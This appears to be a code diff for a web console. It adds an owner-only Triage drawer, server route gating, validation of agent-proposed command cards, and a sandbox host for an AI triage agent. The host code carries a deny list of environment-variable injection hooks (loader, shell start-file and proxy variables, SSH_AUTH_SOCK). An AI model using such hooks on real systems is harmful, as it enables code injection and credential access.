html[data-organizations] .ws-av.mob{display:inline-grid;margin-right:6px;vertical-align:-3px}
html[data-organizations] .ws-tbl .t2.mono.hide-m{display:none}
}
/* #1873 triage-drawer: the owner's Triage drawer, in the agent drawer family. It sits above an open
agent drawer, keeps its own header and message box in view, and scrolls the conversation alone. */
#triage-drawer{position:fixed;top:var(--bar-h,52px);right:0;bottom:0;width:min(440px,100vw);z-index:41;display:flex;flex-direction:column;overflow:hidden;background:var(--surface);color:var(--text);border-left:1px solid var(--line);box-shadow:-8px 0 24px color-mix(in srgb,#000 14%,transparent)}
#triage-drawer[hidden]{display:none}
#triage-drawer .hd{display:flex;align-items:center;gap:8px;padding:12px 14px 12px 17px;border-bottom:1px solid var(--line);flex:none;box-shadow:inset 4px 0 0 var(--action)}
#triage-drawer h2{margin:0;font-size:18px;font-weight:800;color:var(--strong)}
#triage-drawer h2:focus{outline:none}
#triage-drawer .x{margin-left:auto;flex:none;width:32px;height:32px;border:1px solid var(--line);border-radius:6px;background:var(--canvas);color:var(--strong);font-size:20px;line-height:1;cursor:pointer}
#triage-drawer .triage-state{margin:0;padding:10px 14px;flex:none;font-size:14px;font-weight:600;color:var(--strong);border-bottom:1px solid var(--line);overflow-wrap:anywhere}
#triage-drawer .triage-state[data-kind=off],#triage-drawer .triage-state[data-kind=cap]{color:var(--warning);background:color-mix(in srgb,var(--warning) 9%,var(--surface))}
#triage-drawer .triage-state[data-kind=running]::before{content:"";display:inline-block;width:8px;height:8px;margin-right:7px;border-radius:50%;background:var(--success);vertical-align:1px}
#triage-drawer .triage-health-sec{flex:none;padding:8px 14px;border-bottom:1px solid var(--line)}
#triage-drawer .triage-health-sec summary{cursor:pointer;font:700 11px/1.6 var(--font);letter-spacing:.06em;text-transform:uppercase;color:var(--muted)}
#triage-drawer .triage-health{list-style:none;margin:6px 0 0;padding:0;display:grid;gap:3px;max-height:24vh;overflow:auto;font-size:12.5px;color:var(--strong)}
#triage-drawer .triage-health li{overflow-wrap:anywhere;padding-left:12px;position:relative}
#triage-drawer .triage-health li::before{content:"";position:absolute;left:0;top:.5em;width:6px;height:6px;border-radius:50%;background:var(--line)}
#triage-drawer .triage-health li.not-read{color:var(--muted)}
#triage-drawer .triage-convo-title{margin:0;padding:10px 14px 4px;flex:none;font:700 11px/1.3 var(--font);letter-spacing:.06em;text-transform:uppercase;color:var(--muted)}
#triage-drawer .triage-transcript{list-style:none;margin:0;padding:4px 14px 12px;flex:1 1 auto;min-height:120px;overflow:auto;overscroll-behavior:contain;display:flex;flex-direction:column;gap:8px}
#triage-drawer .triage-transcript:focus-visible{outline:2px solid var(--action);outline-offset:-2px}
#triage-drawer .triage-msg{border:1px solid var(--line);border-radius:8px;padding:8px 10px;background:var(--canvas);font-size:13.5px;overflow-wrap:anywhere}
#triage-drawer .triage-msg.from-owner{background:color-mix(in srgb,var(--action) 8%,var(--surface));border-color:color-mix(in srgb,var(--action) 30%,var(--line))}
#triage-drawer .triage-msg.from-host,#triage-drawer .triage-msg.from-other{background:transparent;border-style:dashed;color:var(--muted)}
#triage-drawer .triage-msg-head{display:flex;gap:8px;align-items:baseline;margin-bottom:3px}
#triage-drawer .triage-msg-head strong{color:var(--strong);font-size:13px}
#triage-drawer .triage-when{font-size:11.5px;color:var(--muted)}
#triage-drawer .triage-reply{margin:0 0 4px;padding-left:8px;border-left:3px solid var(--line);font-size:12.5px;color:var(--muted)}
#triage-drawer .triage-text-body{margin:0;white-space:pre-wrap;color:var(--strong)}
#triage-drawer .from-host .triage-text-body,#triage-drawer .from-other .triage-text-body{color:inherit}
#triage-drawer .triage-cards{list-style:none;margin:8px 0 0;padding:0;display:grid;gap:6px}
#triage-drawer .triage-card{display:grid;gap:4px;border:1px solid var(--line);border-radius:6px;padding:6px 8px;background:var(--surface)}
#triage-drawer .triage-card-meta{font-size:12px;color:var(--muted)}
#triage-drawer .triage-card-cmd{display:block;font:12px/1.5 var(--mono);color:var(--strong);white-space:pre-wrap;overflow-wrap:anywhere;user-select:all}
#triage-drawer .triage-dropped{margin:6px 0 0;font-size:12px;color:var(--warning)}
#triage-drawer .triage-empty{color:var(--muted);font-size:13px}
#triage-drawer .triage-compose{flex:none;display:grid;gap:6px;padding:10px 14px 14px;border-top:1px solid var(--line);background:var(--surface)}
#triage-drawer .triage-label{font-size:12px;font-weight:700;color:var(--muted)}
#triage-drawer .triage-text{width:100%;box-sizing:border-box;min-height:64px;max-height:30vh;resize:vertical;padding:8px 10px;border:1px solid var(--line);border-radius:6px;background:var(--canvas);color:var(--strong);font:14px/1.45 var(--font)}
#triage-drawer .triage-text:disabled{opacity:.6;cursor:not-allowed}
#triage-drawer .triage-send-row{display:flex;align-items:center;gap:10px}
#triage-drawer .triage-send{display:inline-flex;align-items:center;min-height:36px;padding:4px 16px;border:1px solid var(--action);border-radius:var(--r,6px);background:var(--action);color:var(--canvas);font:700 13px/1.4 var(--font);cursor:pointer}
#triage-drawer .triage-send:disabled{background:var(--raised);border-color:var(--line);color:var(--muted);cursor:not-allowed}
#triage-drawer .triage-hint{font-size:12px;color:var(--muted)}
#triage-drawer .note{margin:0;font-size:12.5px;color:var(--warning)}
#triage-drawer .note:empty,#triage-drawer .triage-send-status:empty{display:none}
#triage-drawer .triage-send-status{margin:0;font-size:13px;color:var(--strong)}
#triage-drawer .triage-send-status[data-kind=refused]{color:var(--danger)}
#triage-drawer .triage-send-status[data-kind=unknown]{color:var(--warning)}
#triage-drawer .triage-send-status[data-kind=ok]{color:var(--success)}
@media (min-width:1200px){body:has(#triage-drawer:not([hidden])) .content{padding-right:calc(440px + 22px)}}
@media (max-width:700px){#triage-drawer{top:0;left:0;width:auto;border-left:0;box-shadow:none;z-index:60}html:has(#triage-drawer:not([hidden])),body:has(#triage-drawer:not([hidden])){overflow:hidden}#triage-drawer .triage-health{max-height:18vh}}
+9 -4
View File
@@ -40,11 +40,15 @@
return value;
}
const plain = v => v !== null && typeof v === 'object' && !Array.isArray(v);
// #1873: the templates no organization may hold (organization vocabulary SYSTEM_ONLY). The server leaves
// them out of the read; this filter stays so a step role never resolves to one and the picker never offers one.
const SYSTEM_ONLY = ['triage'];
const offered = list => (list || []).filter(r => !SYSTEM_ONLY.includes(r));
async function read(org, s) {
const value = await call(`${base(org)}/workflows`, 'GET');
if (!plain(value) || !plain(value.workflows) || !plain(value.projects) || !plain(value.roles) || typeof value.revision !== 'string') throw Error('The workflow read returned an unexpected answer.');
s.data = value;
s.known = new Set([...(value.roles.definitions || []), ...(value.roles.templates || []), 'human']);
s.known = new Set([...(value.roles.definitions || []), ...offered(value.roles.templates), 'human']);
}
// SP17: a write in flight holds the poll. Each organization counts its writes (epoch moves when one starts
// and when it ends); a read that began before a write ended, or answers while one is in flight, is dropped
@@ -310,7 +314,7 @@
// The role picker: human, the organization's roles, the role templates, and first any role the step names
// that resolves to none of those (checked and marked, so leaving it in is a choice the save check names).
function rolePick(s, chosen, prefix, off = false) {
const defs = [...(s.data.roles.definitions || [])].sort(), tpl = [...(s.data.roles.templates || [])].filter(r => !defs.includes(r)).sort();
const defs = [...(s.data.roles.definitions || [])].sort(), tpl = offered(s.data.roles.templates).filter(r => !defs.includes(r)).sort();
const odd = chosen.filter(r => !s.known.has(r));
const box = (r, mark = '') => `<label class="wfg-pick"><input type="checkbox" name="role" value="${esc(r)}"${chosen.includes(r) ? ' checked' : ''} data-focus-key="${esc(`${prefix}:role:${r}`)}"> <code>${esc(r)}</code>${mark}</label>`;
const group = (title, list, mark) => (list.length ? `<p class="wfg-pick-h">${title}</p>${list.map(r => box(r, mark)).join('')}` : '');
@@ -620,9 +624,10 @@
const d = drafts.get(key);
if (!d || d.busy) return;
// SP17 review: a new step typed in the add form is not saved over or dropped: Save says so and keeps the
// form. An add form with nothing typed in it is closed and the rest is saved.
// form. So is one in which only the state was changed. An add form left as it opened is closed and the
// rest is saved.
if (d.edit?.mode === 'add') {
if (d.edit.title.trim() || d.edit.roles.length) {
if (d.edit.title.trim() || d.edit.roles.length || editDirty(d.edit)) {
d.atBar = false; d.status = `Not saved: new step ${d.edit.i + 1} is not added yet. Press Add step, or Cancel to drop it.`;
say(d.status); paint(); return toAddTitle();
}
+12 -3
View File
@@ -1,6 +1,7 @@
import { AUTONOMY_ROUTE, autonomyHTTP } from './autonomy-http.mjs';
import { proxyHTTP } from './proxy-http.mjs';
import { proxyAdminHTTP } from './proxy-admin.mjs';
import { triageHTTP, TRIAGE_PATHS } from './triage-http.mjs';
import { createServer } from 'node:http';
import { bindTesterSocket, TESTER_ORIGIN } from './tester-socket.mjs';
import { readFileSync, openSync, fstatSync, closeSync, constants } from 'node:fs';
@@ -811,7 +812,7 @@ async function libraryStatusRead(res, read, search) {
// `log` takes one line per send attempt that got past sign-in; never the body. `fieldsFile` is for
// tests; the field table is otherwise the committed packages/tasks/fields.json.
// `agentWrite` (row 194, D7) is `(verb, args) => Promise` for the Agents section's verbs and instance.request.
export async function startServer({ host = '127.0.0.1', port = 7330, board = DEFAULT_BOARD, timeout = 20000, bus = null, reads = null, preview = null, sso = null, tester = false, testerSocket = null, testerAuthHeader = null, proof = null, testerProofHeader = null, send = null, settingsWrite = null, projectFiles = null, projectFile = null, projectSave = null, libraryStatus = null, libraryRevert = null, chat = null, nameWrite = null, assistantStop = null, instancesWrite = null, routesWrite = null, agentWrite = null, proxyCall = null, proxyAdmin = null, processing = null, decisionWrite = null, requestRead = null, requestWrite = null, userOptions = null, federation = null, organizations = null, preselect = null, routes = [], orgAdmin = null, devAllowHosts = [], log = line => console.log(line), fieldsFile = undefined, restart = null, trail = null, boot = randomUUID(), workspaceTimeoutMs = undefined, agentLevels = null } = {}) {
export async function startServer({ host = '127.0.0.1', port = 7330, board = DEFAULT_BOARD, timeout = 20000, bus = null, reads = null, preview = null, sso = null, tester = false, testerSocket = null, testerAuthHeader = null, proof = null, testerProofHeader = null, send = null, settingsWrite = null, projectFiles = null, projectFile = null, projectSave = null, libraryStatus = null, libraryRevert = null, chat = null, nameWrite = null, assistantStop = null, instancesWrite = null, routesWrite = null, agentWrite = null, proxyCall = null, proxyAdmin = null, triage = null, processing = null, decisionWrite = null, requestRead = null, requestWrite = null, userOptions = null, federation = null, organizations = null, preselect = null, routes = [], orgAdmin = null, devAllowHosts = [], log = line => console.log(line), fieldsFile = undefined, restart = null, trail = null, boot = randomUUID(), workspaceTimeoutMs = undefined, agentLevels = null } = {}) {
// org-lan-bind: the dev owner on the LAN is an explicit opt-in. `devAllowHosts` names the Host
// names (without a port) a remote browser may use; only the dev owner takes them, and only with
// them may it bind a non-loopback IPv4 address. SSO, preview and tester listeners stay loopback.
@@ -935,7 +936,10 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF
if (match) {
orgId = match[1];
path = `/api/${match[2]}`;
} else if (!orgList && path !== '/api/config' && !hook) {
} else if (!orgList && path !== '/api/config' && !hook
// #1873 triage-host: the Triage routes pass only for the instance owner's own session on the
// public name; every other caller gets this Console's unknown /api/ answer. The gate below checks again.
&& !(triage && TRIAGE_PATHS.includes(path) && !tester && named && sso !== null && sso.session(req)?.rootOwner === true)) {
return json(res, 404, { error: 'org-unavailable' });
}
}
@@ -1048,6 +1052,11 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF
if (path.startsWith('/api/proxy/')) return proxyHTTP(req, res, { path, call: proxyCall, named, tester, granted,
send, origin: sso ? (localOrigin ?? sso.publicOrigin) : `https://${preview.host}`, user: signer?.user, log });
}
// #1873 triage-host: the Triage session's two routes answer only the instance owner's own session on
// the public name, with no organization selected. Anyone else falls through to the answer an
// unknown route gives them, so the routes are not visible to a caller who cannot use them.
if (TRIAGE_PATHS.includes(path) && triage && !tester && !granted && named && sso !== null && orgId === null && !hook && currentSession?.rootOwner === true)
return triageHTTP(req, res, { path, triage, send: owner.send !== null, origin: localOrigin ?? sso.publicOrigin, log });
// Row 252: Approve and Deny. The tester listener never offers them. Anywhere else without a signed-in
// session on the public name under --sso and --send, they are read-only.
@@ -1240,7 +1249,7 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF
// `send`: the page shows the composer only where a send can pass (the public name, --send on).
// `edit`: the editor shows Save only where a save can pass, the same test as the route's.
// `user` and `federation` (FED R6) only when there is one, so the owner's config is unchanged.
if (path === '/api/config') return json(res, 200, { board: upstream, viewer: viewerOf(currentSession), ...(organizations && preselect ? { preselect } : {}), ...(tester ? { tester: true } : {}), ...(sso ? { sso: true } : {}), ...(sso?.devOwner ? { devOwner: true } : {}), ...(granted ? { user: true, chatGrants } : {}), ...(!tester && !granted && named && sso !== null && requestRead ? { requests: true, requestWrites: Boolean(send && requestWrite), workspaceFiles: true, projectRemotes: true, projectRemoteWrites: Boolean(send && requestWrite) } : {}), ...(hub ? { federation: hub } : {}), ...(organizations ? { orgSetup: !tester && !granted && named && sso !== null && owner.send !== null } : {}), ...(proxyAdmin && !tester && !granted && named && sso !== null && currentSession?.rootOwner === true ? { proxyAdmin: true, proxyAdminSend: owner.send !== null } : {}), send: !organizations && !tester && Boolean(send) && named, ...(organizations && orgId ? { chatSend: !tester && Boolean(send) && named && orgBusHealthy, settingsSend: !tester && !granted && Boolean(send) && named && orgBusHealthy } : {}), boot, consoleRestart: !tester && named && currentSession?.instanceRole === 'operator' && owner.send !== null && restart !== null && trail !== null, decide: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(decisionWrite) && named && sso !== null, edit: !organizations && !tester && !granted && Boolean(send) && Boolean(projectSave) && named, northStarApprove: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(projectSave) && Boolean(projectFile) && named });
if (path === '/api/config') return json(res, 200, { board: upstream, viewer: viewerOf(currentSession), ...(organizations && preselect ? { preselect } : {}), ...(tester ? { tester: true } : {}), ...(sso ? { sso: true } : {}), ...(sso?.devOwner ? { devOwner: true } : {}), ...(granted ? { user: true, chatGrants } : {}), ...(!tester && !granted && named && sso !== null && requestRead ? { requests: true, requestWrites: Boolean(send && requestWrite), workspaceFiles: true, projectRemotes: true, projectRemoteWrites: Boolean(send && requestWrite) } : {}), ...(hub ? { federation: hub } : {}), ...(organizations ? { orgSetup: !tester && !granted && named && sso !== null && owner.send !== null } : {}), ...(proxyAdmin && !tester && !granted && named && sso !== null && currentSession?.rootOwner === true ? { proxyAdmin: true, proxyAdminSend: owner.send !== null } : {}), ...(triage && !tester && !granted && named && sso !== null && orgId === null && currentSession?.rootOwner === true ? { triage: true, triageSend: owner.send !== null } : {}), send: !organizations && !tester && Boolean(send) && named, ...(organizations && orgId ? { chatSend: !tester && Boolean(send) && named && orgBusHealthy, settingsSend: !tester && !granted && Boolean(send) && named && orgBusHealthy } : {}), boot, consoleRestart: !tester && named && currentSession?.instanceRole === 'operator' && owner.send !== null && restart !== null && trail !== null, decide: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(decisionWrite) && named && sso !== null, edit: !organizations && !tester && !granted && Boolean(send) && Boolean(projectSave) && named, northStarApprove: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(projectSave) && Boolean(projectFile) && named });
if (path === '/healthz') return json(res, 200, { ok: true, ...(sso ? { sso: sso.health() } : {}) });
if (path === '/favicon.ico') { res.writeHead(204); return res.end(); }
const file = files.get(path);
+60
View File
@@ -0,0 +1,60 @@
// #1873 triage-host: the command cards a Triage reply may carry (design section 4). The agent
// proposes a card as `{ step, org }` in a fenced ```cards block of its reply. The server keeps a card
// only when its keys are exactly step and org, its step is one of CARD_STEPS and its org is in the
// registry, and it renders the command text itself from the fixed map below. Anything else is
// dropped and counted. The rest of the reply is plain text: control characters are removed and it
// is clipped. A card has no Run action; the owner copies the command into a terminal.
import { ID_PATTERN } from "../../organization/src/vocabulary.mjs";
export const CARD_STEPS = Object.freeze({
// On a --dev-local-owner Console the bus starts in that mode, as the Organization page's own step says.
"bus-start": (org, { devOwner = false } = {}) => `mosaic bus start ${org}${devOwner === true ? " --dev-local-owner" : ""} --detach`,
"bus-restart": (org) => `mosaic bus restart ${org}`,
"bus-recover": (org) => `mosaic bus recover ${org}`,
"bus-stop": (org) => `mosaic bus stop ${org}`,
"org-config-validate": (org) => `mosaic org config validate ${org}`,
});
export const MAX_CARDS = 5;
export const MAX_TEXT = 8000;
const FENCE = /```cards[ \t]*\r?\n([\s\S]*?)\r?\n?```/g;
// Plain text: no control characters other than newline and tab, and no more than MAX_TEXT.
export function plainText(value, max = MAX_TEXT) {
if (typeof value !== "string") return "";
// eslint-disable-next-line no-control-regex
return value.replace(/\r\n?/g, "\n").replace(/[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u180e\u2028\u2029\ufeff​-‏‪-‮⁦-⁩]/g, "").slice(0, max);
}
// One card, or null. orgIds is the set of registry ids the snapshot read.
export function validateCard(card, orgIds, opts = {}) {
if (!card || typeof card !== "object" || Array.isArray(card) || Object.getPrototypeOf(card) !== Object.prototype) return null;
const keys = Object.keys(card);
if (keys.length !== 2 || !keys.includes("step") || !keys.includes("org")) return null;
const { step, org } = card;
if (typeof step !== "string" || !Object.hasOwn(CARD_STEPS, step)) return null;
if (typeof org !== "string" || !ID_PATTERN.test(org) || !orgIds?.has?.(org)) return null;
return { step, org, command: CARD_STEPS[step](org, opts) };
}
// The reply split into its plain text and the cards the server keeps.
export function extractCards(reply, orgIds, opts = {}) {
const source = typeof reply === "string" ? reply : "";
const cards = [];
let dropped = 0;
const seen = new Set();
const text = source.replace(FENCE, (_, body) => {
let parsed;
try { parsed = JSON.parse(body); } catch { dropped += 1; return ""; }
const list = Array.isArray(parsed) ? parsed : [parsed];
for (const item of list) {
const card = validateCard(item, orgIds, opts);
const key = card && `${card.step} ${card.org}`;
if (!card || seen.has(key) || cards.length >= MAX_CARDS) { dropped += 1; continue; }
seen.add(key);
cards.push(card);
}
return "";
});
return { text: plainText(text.trim()), cards, dropped };
}
+525
View File
@@ -0,0 +1,525 @@
// #1873 triage-host: the Triage session's host, held by the Console (design sections 1 and 4).
//
// Directories, under <dataRoot>/triage/ (0700, real directories owned by this user):
// health/ the snapshot the Console writes (triage-snapshot.mjs); mounted read-only
// agent/ the session's own run directory; mounted read-write, with bundle/, session.json and
// relay.sock read-only inside it
// host/ the transcript (transcript.jsonl, 0600) and the runner's log; never mounted
// Nothing else of the data root, no org root, bus socket, config directory or secrets directory is
// in the sandbox (packages/seat/src/sandbox.mjs, hostedBinds).
//
// The session starts on the owner's first message, never when the Console starts. Its spawn
// environment is SPAWN_ENV_ALLOW and the route's ROUTE_ENV_ALLOW names; bwrap adds HOME and TMPDIR.
// No MOSAIC_CONFIG, no MOSAIC_BUS_* and no Console variable reaches it.
//
// The relay is the only broker the runner reaches. It answers the runner's own lifecycle verbs with
// fixed answers that change nothing, hands over the owner's queued messages, and keeps a
// message.send only when it is addressed to "human": that text goes into the transcript and its
// cards are checked (triage-cards.mjs). Every other verb, decision.raise and event.emit included,
// a send to anyone else and a call with the wrong capability are refused with RELAY_REFUSED.
//
// A model route comes from an injected `route` ({ admit() }). Without one nothing launches and the
// state says so. The route's answer names the harness: adapter, its mounts, harnessEnv, turnEnd,
// model and provider, and the proxy variables for the spawn. Over the cap the route refuses until
// the next day, and the message is refused with its code.
//
// #1873 triage-fences: the host checks a copy of the route's answer before it writes anything, and
// uses only that copy. harnessEnv names must be in the harness module's envNames and pass
// refusedHarnessName; values are clean strings. env holds only ROUTE_ENV_ALLOW names, with
// ANTHROPIC_BASE_URL loopback http on a port (the host's proxyPort when it names one) and the
// token matching the host's tokenPattern when it names one. The adapter and the mounts pass
// checkHostedRoute (sandbox.mjs) against the module's installRoots and the data root, the config
// directory and HOME (HOME not counted against the stack's own code), here and again in
// hostedBinds. A refused answer reaches no spawn, answers triage-route-invalid, and writes
// ROUTE_REFUSED to the transcript; a refusal at the binds also removes what the start wrote.
import { spawn } from "node:child_process";
import { randomBytes, timingSafeEqual } from "node:crypto";
import { appendFileSync, closeSync, lstatSync, mkdirSync, openSync, readFileSync, rmSync, chmodSync, writeFileSync } from "node:fs";
import { createServer } from "node:net";
import { homedir } from "node:os";
import { dirname, join } from "node:path";
import { pathToFileURL } from "node:url";
import { BWRAP, REPO, RUNNER_FILES, checkHostedRoute, hostedArgv, hostedBinds } from "../../seat/src/sandbox.mjs";
import { isProviderVariable } from "../../seat/src/session.mjs";
import { configDir as systemConfigDir } from "../../organization/src/organization-config.mjs";
import { typedTools } from "../../harness/src/tools.mjs";
import { builtinTools } from "../../harness/src/bundle.mjs";
import { FOUNDER_ENV } from "../../harness/src/runner.mjs";
import { extractCards, plainText } from "./triage-cards.mjs";
import { SNAPSHOT_FILE, writeSnapshot } from "./triage-snapshot.mjs";
export const RUNNER = RUNNER_FILES[0];
export const RELAY_REFUSED = "triage-refused";
export const MESSAGE_MAX = 4000;
export const TRANSCRIPT_KEEP = 200;
export const QUEUE_MAX = 20;
export const UNANSWERED = "Triage stopped before it answered this message. Send it again.";
export const NOT_STARTED = "Triage did not start, so this message was not delivered.";
export const NOT_TAKEN = "Triage stopped before it read this message. Send it again.";
export const ROUTE_REFUSED = "Triage did not start: the model route's answer did not pass the host's checks, so this message was not delivered.";
// An over-cap answer is held for at most this long; a later time is not taken.
export const CAP_HOLD_MAX_MS = 48 * 3600 * 1000;
const ISO_TIME = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{1,3})?Z$/;
const LINE_MAX = 64 * 1024;
// The id the host gives each owner message. A reply may name only such an id.
const OWNER_ID = /^owner-[0-9a-f]{12}$/;
const CAP = /^[0-9a-f]{64}$/;
// The spawn's environment: these names from the Console's own environment, PATH fixed, and the
// route's proxy variables. bwrap sets HOME and TMPDIR inside.
export const SPAWN_ENV_ALLOW = Object.freeze(["PATH", "LANG", "LC_ALL", "TZ", "TERM"]);
export const ROUTE_ENV_ALLOW = Object.freeze(["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN"]);
const ENV_NAME = /^[A-Z][A-Z0-9_]{0,63}$/;
const ENV_VALUE_MAX = 4096;
const HARNESS_ENV_MAX = 64;
// Refused in harnessEnv even when the harness module declares them: the runner's own MOSAIC_*
// values, loader, libc and interpreter hooks, the shell's start files, a tool's config directory
// and the founder's, an askpass program, a CA bundle or a base URL. A provider name (every ANTHROPIC_* among them) goes through route env or nowhere.
const REFUSED_PREFIX = /^(MOSAIC_|NODE_|LD_|DYLD_|PYTHON|BASH_|GIT_|MALLOC_|NPM_CONFIG_|XDG_)/;
const REFUSED_SUFFIX = /_(DIR|CONF|CONFIG|ASKPASS|CA_BUNDLE|BASE_URL)$/;
const REFUSED_NAMES = new Set([
"PATH", "HOME", "TMPDIR", "BASH_ENV", "ENV", "SSH_AUTH_SOCK", "SHELL", "SHELLOPTS", "BASHOPTS", "PS4", "IFS", "CDPATH",
"GLOBIGNORE", "PROMPT_COMMAND", "ZDOTDIR", "PERL5OPT", "PERL5LIB", "RUBYOPT", "RUBYLIB", "PERLLIB", "LESSOPEN", "LESSCLOSE", "HOSTALIASES", "HTTP_PROXY", "HTTPS_PROXY", "ALL_PROXY", "NO_PROXY",
"GCONV_PATH", "GLIBC_TUNABLES", "LOCPATH", "OPENSSL_CONF", "OPENSSL_ENGINES", "OPENSSL_MODULES", "SSL_CERT_FILE", "SSL_CERT_DIR",
"JAVA_TOOL_OPTIONS", "_JAVA_OPTIONS", "JDK_JAVA_OPTIONS",
...FOUNDER_ENV,
]);
export const refusedHarnessName = (k) => typeof k !== "string" || !ENV_NAME.test(k) || REFUSED_PREFIX.test(k) || REFUSED_SUFFIX.test(k) || REFUSED_NAMES.has(k) || isProviderVariable(k);
// No control character of any kind (C0, DEL, C1) and no line or paragraph separator.
const cleanValue = (v) => typeof v === "string" && v.length <= ENV_VALUE_MAX && !/[\u0000-\u001f\u007f-\u009f\u2028\u2029]/.test(v);
const plainObject = (o) => o !== null && typeof o === "object" && !Array.isArray(o) && [Object.prototype, null].includes(Object.getPrototypeOf(o));
// The proxy is on this machine: http, 127.0.0.1, a port, nothing after it.
const LOOPBACK_URL = /^http:\/\/127\.0\.0\.1:([1-9][0-9]{0,4})$/;
const HARNESS_NAME = /^[a-z][a-z0-9-]{0,31}$/;
// The harness module a route names, from the repository's own tree; null when there is none.
async function repoHarnessModule(name) {
if (!HARNESS_NAME.test(name)) return null;
const file = join(REPO, "packages", "plugins", "harness", name, "index.mjs");
try { if (!lstatSync(file).isFile()) return null; } catch { return null; }
return import(pathToFileURL(file).href);
}
export function triageEnv(source, routeEnv = {}, { node = process.execPath } = {}) {
const env = { PATH: `${dirname(node)}:/usr/bin:/bin` };
for (const k of SPAWN_ENV_ALLOW) if (k !== "PATH" && typeof source?.[k] === "string" && source[k].length <= 256) env[k] = source[k];
for (const k of ROUTE_ENV_ALLOW) if (typeof routeEnv?.[k] === "string" && routeEnv[k].length <= 4096) env[k] = routeEnv[k];
return env;
}
// The relay's fixed answers. None of them reaches a bus or changes anything.
const LIFECYCLE = Object.freeze({
"role.claim": () => ({ library: false }),
state: () => ({ launch: { state: "on", at: null, event: null }, tasks: { open: [], total: 0, cap: 0 } }),
"processing.status": () => ({ halted: false, invalid: false }),
"usage.begin": () => ({}),
"usage.end": () => ({}),
"role.release": () => ({}),
});
export class TriageError extends Error {
constructor(code, message) {
super(message);
this.code = code;
}
}
function realDir(path, { create = true } = {}) {
let st;
try {
st = lstatSync(path);
} catch (e) {
if (e.code !== "ENOENT" || !create) throw new TriageError("triage-dir-unsafe", "a Triage directory is missing");
mkdirSync(path, { mode: 0o700 });
st = lstatSync(path);
}
if (st.isSymbolicLink() || !st.isDirectory()) throw new TriageError("triage-dir-unsafe", "a Triage directory is not a real directory");
if (typeof process.getuid === "function" && st.uid !== process.getuid()) throw new TriageError("triage-dir-unsafe", "a Triage directory is not owned by the Console's user");
chmodSync(path, 0o700);
}
// A directory inside agent/, which the session can write: removed whole (rm never follows a link)
// and made again, so a link the session left there can't steer a bind or a host write.
function freshDir(path) {
rmSync(path, { recursive: true, force: true });
mkdirSync(path, { mode: 0o700 });
}
export function triagePaths(dataRoot) {
const root = join(dataRoot, "triage");
return { root, health: join(root, "health"), agent: join(root, "agent"), host: join(root, "host"), transcript: join(root, "host", "transcript.jsonl"), log: join(root, "host", "runner.log") };
}
// The prompt is the role's contract and the host's own lines: where the snapshot is and how a
// card is written. It names the snapshot inside the session, never a host path of the data root.
export function hostPrompt(contract, { snapshotPath, steps }) {
return [
contract.trimEnd(),
"",
"## This host",
"",
`- The health snapshot is the JSON file ${snapshotPath}. Read it at the start of each turn; it is the only health you can see. A field that says "not read" was not read; say so, never guess it.`,
"- Each message arrives as one turn and your final answer goes back to the person. send_message reaches only \"human\"; this host refuses every other call.",
"- Propose each fix as a card in one fenced block marked cards, holding a JSON array of objects with exactly two keys, step and org, for example:",
"```cards",
'[{"step": "bus-start", "org": "alpha"}]',
"```",
`- step is one of: ${steps.join(", ")}. org is an organization id from the snapshot. The Console writes the command for each card; never write a command yourself. A card with anything else is dropped.`,
"",
].join("\n");
}
function sameCap(a, b) {
if (typeof a !== "string" || !CAP.test(a)) return false;
return timingSafeEqual(Buffer.from(a), Buffer.from(b));
}
// The relay server. `onSend(body)` keeps a human-bound send; `take()` returns the queued owner
// messages; `read(id)` drops one that was answered.
export function createRelay({ socket, cap, take, read, onSend, log = () => {} }) {
const answer = (conn, value) => { try { conn.end(JSON.stringify(value) + "\n"); } catch {} };
const refuse = (conn) => answer(conn, { ok: false, error: RELAY_REFUSED, reason: "the Triage host answers only a message to the person" });
const server = createServer((conn) => {
let buf = "";
let done = false;
conn.setTimeout(30_000, () => conn.destroy());
conn.on("error", () => {});
conn.on("data", (chunk) => {
if (done) return;
buf += chunk.toString("utf8");
if (buf.length > LINE_MAX) { done = true; return refuse(conn); }
const nl = buf.indexOf("\n");
if (nl < 0) return;
done = true;
let req;
try { req = JSON.parse(buf.slice(0, nl)); } catch { return refuse(conn); }
if (!req || typeof req !== "object" || !sameCap(req.cap, cap) || typeof req.verb !== "string") return refuse(conn);
const args = req.args && typeof req.args === "object" && !Array.isArray(req.args) ? req.args : {};
const verb = req.verb;
try {
if (Object.hasOwn(LIFECYCLE, verb)) return answer(conn, { ok: true, result: LIFECYCLE[verb]() });
if (verb === "message.receive") return answer(conn, { ok: true, result: take() });
if (verb === "message.read") { read(args.id); return answer(conn, { ok: true, result: {} }); }
if (verb === "message.send" && args.to === "human" && typeof args.body === "string" && args.body.length <= 32768) {
// Only an id the host issued is kept. The model writes this field, and the transcript serves it.
onSend({ body: args.body, in_reply_to: typeof args.in_reply_to === "string" && OWNER_ID.test(args.in_reply_to) ? args.in_reply_to : null });
return answer(conn, { ok: true, result: { id: `triage-${randomBytes(6).toString("hex")}` } });
}
} catch (e) {
log(`triage relay: ${verb} failed: ${e.code ?? "error"}`);
}
log(`triage relay: refused ${/^[a-z][a-z0-9._-]{0,63}$/.test(verb) ? verb : "a verb"}`);
return refuse(conn);
});
});
return new Promise((resolve, reject) => {
server.once("error", reject);
server.listen(socket, () => {
server.off("error", reject);
chmodSync(socket, 0o600);
resolve(server);
});
});
}
// createTriageHost({ dataRoot, route, readSnapshot, env, node, bwrap, now, devOwner, log })
// route { admit() -> { ok: true, adapter, harness, harnessEnv, harnessMounts, turnEnd, model,
// provider, env } | { ok: false, code, until? } } or null for no route
// readSnapshot async () -> the snapshot (triage-snapshot.mjs composeSnapshot), written to health/
// pollInterval the runner's receive interval in ms, for tests; the runner's default otherwise
// proxyPort the port ANTHROPIC_BASE_URL must name, or null for any port
// tokenPattern a RegExp the whole ANTHROPIC_AUTH_TOKEN must match, or null for no shape check
